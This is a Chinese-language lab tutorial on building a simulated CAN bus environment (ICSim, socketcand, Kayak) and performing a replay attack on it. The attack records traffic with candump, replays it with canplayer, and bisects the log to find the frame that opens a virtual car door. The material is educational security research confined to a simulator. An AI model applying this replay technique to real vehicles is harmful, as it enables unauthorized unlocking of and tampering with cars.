CAN模拟环境搭建到重放攻击 环境搭建
ICSim(仪表盘模拟器)
Socketcand(CAN网络)
Kayak(一款基于SocketCAN的CAN总线分析工具)
ICSim安装 1 2 3 4 5 6 7 # 安装依赖 sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf -y # 下载ICSim git clone https://github.com/zombieCraig/ICSim.git # 编译安装 cd ICSim/ sudo make
socketcand安装 1 2 3 4 5 6 7 8 9 # 下载socketcand git clone https://github.com/linux-can/socketcand.git cd socketcand# 获取缺少的文件 wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in# 编译安装 autoconf ./configure make clean make sudo make install
Kayak安装 1 2 3 4 5 6 7 # 下载 git clone https://github.com/dschanoeh/Kayak.git # 安装jdk sudo apt-get install openjdk-8-jdk # 安装 cd Kayak mvn clean package
Kayak安装时间会很久,等待许久之后,终于安装成功:
启动模拟器 1 2 3 4 5 6 # 设置vcan(虚拟CAN)接口 sudo modprobe can sudo modprobe vcan # ip link 命令启动 can 接口 sudo ip link add dev vcan0 type vcan sudo ip link set up vcan0
1 2 3 4 5 cd Icsim/ # 打开仪表盘模拟器 ./icsim vcan0 # 打开仪表盘控制器 ./controls vcan0
光标放在控制器界面上,就可以对模拟器进行操作:
功能
控制按钮
转向
键盘左右
速度
键盘上下
开/关左前车门
右shift/左shit+A
开/关右前车门
右shift/左shit+B
开/关左后车门
右shift/左shit+X
开/关右后车门
右shift/左shit+Y
开启全部车门
左shift+右shift
关闭全部车门
右shift+左shift
canplayer重放攻击 原理就是利用candump监听模拟器操作的数据包,再利用canplayer集合数据包重新回放一遍监听到的操作。
首先candump vcan0 -l
开启监听:
1 2 3 4 root@ubuntu :~# candump vcan0 -l Disabled standard output while logging.Enabling Logfile 'candump-2023-03-20_135818.log'
candump运行之后一直监听数据。
这时在模拟器模拟操作右Shift+A开启左前侧车门:
然后终端退出candump监听,查看candump-2023-03-20_135818.log,会发现有很多数据:
将车门闭合后,运行canplayer -I candump-2023-03-20_135818.log
,观察模拟器状态,会发现模拟器自动将车门开启:
接着使用二分法对数据包进行分析,找出具体哪个包可以使车门打开:
1 2 3 4 5 6 7 8 9 10 11 12 13 with open ('candump.log' , 'r' ) as f: lines = f.readlines() num_lines = len (lines) midpoint = num_lines // 2 with open ('file1.log' , 'w' ) as f1, open ('file2.log' , 'w' ) as f2: for i, line in enumerate (lines): if i < midpoint: f1.write(line) else : f2.write(line)
二分法就是将数据分成两半,分别对数据进行测试,然后对模拟器有反应的一半再继续进行分裂,循环往复。
最终能确定使车门打开的数据包为:(1679293970.363015) vcan0 19B#00000E000000